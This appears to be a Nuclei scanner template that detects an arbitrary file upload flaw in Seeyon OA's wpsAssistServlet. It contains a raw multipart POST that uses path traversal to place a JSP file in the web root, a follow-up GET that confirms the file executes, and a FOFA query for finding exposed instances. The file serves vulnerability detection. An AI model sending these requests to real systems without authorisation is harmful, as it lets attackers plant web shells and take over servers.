id: seeyon-oa-sp2-file-upload

info:
  name: Seeyon OA wpsAssistServlet - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    There is an arbitrary file upload vulnerability in the Seeyon OA wpsAssistServlet interface. Through the vulnerability, an attacker can send a specific request packet to upload malicious files and obtain server permissions.
  reference:
    - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java
    - http://wiki.peiqi.tech/wiki/oa/致远OA/致远OA%20wpsAssistServlet%20任意文件上传漏洞.html
    - https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E8%87%B4%E8%BF%9COA%20wpsAssistServlet%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="致远互联-OA" && title="V8.0SP2"
  tags: seeyon,oa,file-upload,intrusive,vuln
variables:
  filename: "{{rand_base(6)}}"
  string: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/{{filename}}.jsp&fileId=2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
        Accept-Encoding: gzip

        --59229605f98b8cf290a7b8908b34616b
        Content-Disposition: form-data; name="upload"; filename="{{filename}}.xls"
        Content-Type: application/vnd.ms-excel

        <% out.println("{{string}}");%>
        --59229605f98b8cf290a7b8908b34616b--
      - |
        GET /{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '"success":'

      - type: word
        part: body_2
        words:
          - '{{string}}'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207698567e21fd713bfe6067ed0be356d734d3a834785fb19fd9991d629dab1fbc02210097bb5af0f0332833d61184fc8bd2abb9cef1d64c7d50cd776cd6bc73dd366f3c:922c64590222798bb761d5b6d8e72950